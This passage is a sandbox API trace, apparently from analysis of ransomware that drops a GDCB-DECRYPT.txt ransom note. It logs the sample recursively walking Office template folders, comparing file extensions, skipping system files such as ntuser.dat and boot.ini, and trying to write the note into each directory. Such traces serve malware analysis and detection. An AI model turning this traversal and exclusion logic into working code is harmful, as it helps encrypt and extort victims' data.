"c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.654] GetLastError () returned 0x50 [0135.654] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.654] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned 70 [0135.654] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*" [0135.654] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7680 [0135.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16" [0135.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\" [0135.655] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.655] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.655] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned 73 [0135.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*" [0135.655] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7780 [0135.655] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.655] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.655] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.655] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.655] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.655] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.655] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt" [0135.655] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0135.655] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.655] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.655] lstrcmpW (lpString1="Managed", lpString2=".") returned 1 [0135.655] lstrcmpW (lpString1="Managed", lpString2="..") returned 1 [0135.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0135.655] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned 80 [0135.655] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.655] lstrcmpW (lpString1="User", lpString2=".") returned 1 [0135.655] lstrcmpW (lpString1="User", lpString2="..") returned 1 [0135.655] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0135.655] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned 77 [0135.656] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.656] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.656] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.656] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\\\GDCB-DECRYPT.txt") returned 90 [0135.656] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.656] GetLastError () returned 0x50 [0135.656] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.656] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned 73 [0135.656] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*" [0135.656] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7640 [0135.656] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt" [0135.656] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.656] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0135.656] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0135.656] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0135.657] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\GDCB-DECRYPT.txt") returned 89 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.657] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.657] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.657] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="Managed" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed" [0135.657] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\" [0135.657] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.657] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.657] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.657] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.657] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.657] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.657] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned 81 [0135.657] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*" [0135.657] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x2c76c0 [0135.658] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.658] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.658] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.658] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.658] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.658] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0135.658] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0135.658] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0135.658] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned 96 [0135.658] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.658] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.658] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.658] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt" [0135.658] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0135.658] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.658] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.658] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0135.658] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0135.658] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0135.658] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned 98 [0135.658] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0135.658] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.658] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.658] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\\\GDCB-DECRYPT.txt") returned 98 [0135.658] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.659] GetLastError () returned 0x50 [0135.659] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.659] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\") returned 81 [0135.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*" [0135.659] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x2c7900 [0135.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0135.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\" [0135.659] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.659] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.659] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.659] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.659] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.659] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.660] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned 97 [0135.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*" [0135.660] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x2c77c0 [0135.660] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.660] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.660] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.660] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.660] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.660] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0135.660] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0135.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0135.660] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned 101 [0135.660] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.660] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.660] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt" [0135.660] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0135.660] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.660] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0135.660] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.660] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.660] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\\\GDCB-DECRYPT.txt") returned 114 [0135.661] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.661] GetLastError () returned 0x50 [0135.661] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.661] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\") returned 97 [0135.661] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*" [0135.661] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x2c76c0 [0135.662] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0135.662] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\" [0135.662] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.662] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.662] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.662] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.662] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.662] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.662] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\") returned 102 [0135.662] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*" [0135.662] FindFirstFileW (in: 